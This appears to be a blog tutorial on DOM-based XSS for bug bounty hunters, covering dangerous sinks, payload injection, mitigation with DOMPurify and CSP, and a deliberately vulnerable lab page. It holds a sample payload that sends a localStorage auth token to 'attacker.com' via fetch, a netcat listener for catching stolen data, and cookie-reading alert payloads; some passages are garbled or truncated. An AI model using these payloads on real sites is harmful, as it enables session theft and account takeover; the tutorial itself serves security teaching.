DOM XSS Unleashed: From JavaScript Novice to Bug Bounty Hunter in 5 Days + Video

Introduction:

Modern web applications are no longer static pages; they are dynamic ecosystems powered by JavaScript. While this interactivity enhances user experience, it also introduces a critical attack surface: DOM-based Cross-Site Scripting (XSS). Understanding how client-side code processes input is not just a skill—it is a necessity for anyone serious about web application security and bug bounties.

Learning Objectives:

• Master the core JavaScript concepts that separate secure code from vulnerable code.
• Differentiate between secure and insecure DOM manipulation methods to identify potential XSS sinks.
• Understand how to use browser APIs and JavaScript functions for reconnaissance and exploitation in a controlled environment.

You Should Know:

1. The Critical Distinction: innerHTML vs. textContent

The cornerstone of DOM XSS lies in how a developer chooses to insert user-controlled data into the Document Object Model (DOM). The `innerHTML` property parses a string as HTML, meaning if that string contains a `` into the search bar.

The browser renders the page and executes the script, popping up the user's session cookie.

Code Snippet (Vulnerable):

function displayMessage(userInput) {
document.getElementById('output').innerHTML = userInput;
}

Code Snippet (Secure):

function displayMessage(userInput) {
document.getElementById('output').textContent = userInput;
}

2. JavaScript Fundamentals for the Bug Bounty Hunter

To effectively exploit or mitigate DOM XSS, a security professional must read JavaScript like an investigator. Variables are containers for data, and in a web context, they often hold user-supplied input from sources like document.URL, document.location, or window.name. Functions are reusable blocks of code that process this data. The proof-of-concept for any XSS is the `alert()` function. While seemingly simple, `alert(document.cookie)` demonstrates that an attacker can execute arbitrary JavaScript, which is the first step toward stealing sensitive data or performing actions on behalf of a user.

Step‑by‑step guide explaining what this does and how to use it:
Start by using the browser's developer console (F12) to interact with the page's JavaScript environment. Type `document.URL` to see the current URL, which might contain parameters you can control. Next, attempt to inject a script via a URL parameter, such as ?name=<script>alert('XSS')</script>. If the page's JavaScript reads this parameter and writes it to the DOM, your alert will trigger. From there, you can escalate to more advanced payloads.

Code Snippet for Reconnaissance:

// Check if the URL contains a parameter we can control
console.log(document.URL);
// If it does, and it's reflected, try this in the URL bar
// ?payload=<script>alert(document.domain)</script>

1. Key DOM Methods and Browser APIs for Exploitation

Beyond innerHTML, other DOM methods are prime targets. `document.write()` directly writes to the document stream and is another sink for XSS. For modern bug bounties, understanding browser APIs like `localStorage` and `fetch` is crucial. `localStorage` is a persistent storage mechanism that often contains sensitive data like authentication tokens. `fetch` is the modern way to make network requests. An attacker can use `fetch` to exfiltrate stolen data to a server they control.

Step‑by‑step guide explaining what this does and how to use it:
When you find a reflection point, escalate your payload to steal data. For instance, if you discover a stored XSS in a comment field, your payload could read the user's `localStorage` and send it to your server.

Example Payload (Stealing `localStorage`):

<script>
// Read sensitive data from localStorage
var stolenData = localStorage.getItem('authToken');
// Send it to an attacker-controlled server using fetch
fetch('https://attacker.com/steal?data=' + encodeURIComponent(stolenData));
</script>

Windows Command (for setting up a listener):

On your attacker machine, you can set up a simple listener to catch the exfiltrated data.
`nc -lvnp 443` (Netcat listener) or use Python: python3 -m http.server 80.

4. Understanding the Document Lifecycle: `DOMContentLoaded` and `window.onload`

Knowing when JavaScript executes is as important as knowing what it executes. The `DOMContentLoaded` event fires when the initial HTML document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading. The `window.onload` event, on the other hand, waits for everything to load. For an attacker, injecting code that runs on `DOMContentLoaded` may be faster and more reliable than waiting for the entire page to load, especially for blind XSS where an admin might view a page.

Step‑by‑step guide explaining what this does and how to use it:
When injecting a payload, consider wrapping it in an event listener to ensure the DOM is ready.

Code Snippet (Reliable XSS Payload):

<script>
document.addEventListener('DOMContentLoaded', function() {
// Your malicious code here, ensuring the DOM is ready
alert('DOM is ready, XSS triggered!');
});
</script>

5. Mitigation: The Security Headers and Sanitization Game

Prevention is always better than cure. For a developer, the primary defense against DOM XSS is to avoid using innerHTML, document.write(), and other sinks with untrusted data. Instead, use `textContent` or innerText. For cases where you must render HTML, use a robust sanitization library like DOMPurify. Additionally, implementing a strict Content Security Policy (CSP) can act as a powerful defense-in-depth measure, instructing the browser to only execute scripts from trusted sources.

Step‑by‑step guide explaining what this does and how to use it:
As a penetration tester, you should report the lack of a CSP or a weak one as a finding. You can check for it by looking at the HTTP response headers. In a security assessment, you can test if a CSP is effectively blocking your payloads or if you can bypass it.

Linux Command to Check Headers:

`curl -I https://target-site.com`
Look for the `Content-Security-Policy` header. If it's missing, it's a vulnerability.

Code Snippet (Using DOMPurify):

var dirty = userInput;
var clean = DOMPurify.sanitize(dirty);
document.getElementById('output').innerHTML = clean;

1. A Practical Lab: Building a Simple DOM XSS Vulnerable Page

To truly understand the attack, you must build it. Create a simple HTML page with a text input and a button. Use JavaScript to read the input and write it directly to a `

<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Lab</title>
</head>
<body>

<h1>Enter your name:</h1>

<input type="text" id="userInput" placeholder="Type here...">
<button onclick="displayName()">Submit</button>

<div id="output"></div>

<script>
function displayName() {
var name = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = name;
}
</script>

</body>
</html>